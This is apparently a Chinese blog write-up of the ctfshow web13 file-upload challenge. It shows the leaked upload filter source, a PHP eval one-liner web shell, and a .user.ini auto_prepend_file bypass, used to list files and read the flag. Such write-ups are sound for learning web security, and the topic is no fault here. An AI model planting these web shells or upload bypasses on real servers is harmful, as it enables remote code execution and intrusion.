zoukankan      html  css  js  c++  java
  • CTF web之旅 35

    ctfshow web13 文件上传

    试了好多文件名 都没有上传成功

    没有突破点就扫一下目录  御剑扫出upload.php 加上.bak 尝试一下源码泄露

    <?php 
        header("content-type:text/html;charset=utf-8");
        $filename = $_FILES['file']['name'];
        $temp_name = $_FILES['file']['tmp_name'];
        $size = $_FILES['file']['size'];
        $error = $_FILES['file']['error'];
        $arr = pathinfo($filename);
        $ext_suffix = $arr['extension'];
        if ($size > 24){
            die("error file zise");
        }
        if (strlen($filename)>9){
            die("error file name");
        }
        if(strlen($ext_suffix)>3){
            die("error suffix");
        }
        if(preg_match("/php/i",$ext_suffix)){
            die("error suffix");
        }
        if(preg_match("/php/i"),$filename)){
            die("error file name");
        }
        if (move_uploaded_file($temp_name, './'.$filename)){
            echo "文件上传成功!";
        }else{
            echo "文件上传失败!";
        }
    
     ?>

    文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,后缀和不包含后缀的文件名都不能包含php

    上传1.txt 短标签一句话木马

    <?=@eval($_POST['a']);?>或者是<?php eval($_POST['a']);

    怎么让他当做php被解释执行呢 我考虑上传.htaccess文件 这是apache的配置文件如果里面包含

    SetHandler application/x-httpd-php 设置当前所有目录都被当做php文件解析 无论上传任何文件 只要内容符合php规范 都会被当做php代码执行,不符合则报错
    但是文件太大了 超过了字节限制 考虑上传.usr.ini 文件
    里面是 auto_prepend_file =1.txt
    auto_prepend_file 表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件,在开发中不用每个php文件都要重复包含同一个文件
    上传.usr.ini 文件后表示该目录下的所有文件都会包含a.txt的内容,
    需要访问的是这个目录http://ada84ec3-0393-4766-b52a-e1b63f32a7e8.challenge.ctf.show:8080/upload.php
    不是上传的马目录,和htaccess的原理需要区分
    连接成功但是还是获取不到文件,应该是没有文件操作权限
    上传get马
     ?a=print_r(scandir("."));
    ada84ec3-0393-4766-b52a-e1b63f32a7e8.challenge.ctf.show:8080/upload.php?a=print_r(scandir("."));
    ada84ec3-0393-4766-b52a-e1b63f32a7e8.challenge.ctf.show:8080/upload.php?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
     得到flag
     
     
    总结:
    先随便试了个.aabb这种根本不可能存在的后缀依然文件上传失败,考虑为白名单过滤
    所以解题角度就要考虑为是上传配置文件问题
    htaccess上传不成功就考虑.user.ini
    最关键的就是要理解user.ini的配置原理,他是将所在目录的所有php文件都自动包含一个文件,并当做php执行

    综上所述.user.ini的利用条件如下:

    1. 服务器脚本语言为PHP
    2. 服务器使用CGI/FastCGI模式
    3. 上传目录下要有可执行的php文件(本题的上传目录就有index.php可执行文件)
     
     
     
  • 相关阅读:
    light_oj 1197 区间素数筛
    light_oj 1213
    light_oj 1220 素数分解
    bestcoder#43 1002 在数组中找两个数的和取模的最大值 二分
    6月7日 bc总结
    省赛总结
    二分图最大点权独立集 二分图最大点权覆盖
    终于能理解kmp算法了
    hduoj2087 统计串t在串s中出现的次数,重叠不算 KMP
    带权二分图的最大权匹配 KM算法模版
  • 原文地址:https://www.cnblogs.com/akger/p/14698245.html
Copyright © 2011-2022 走看看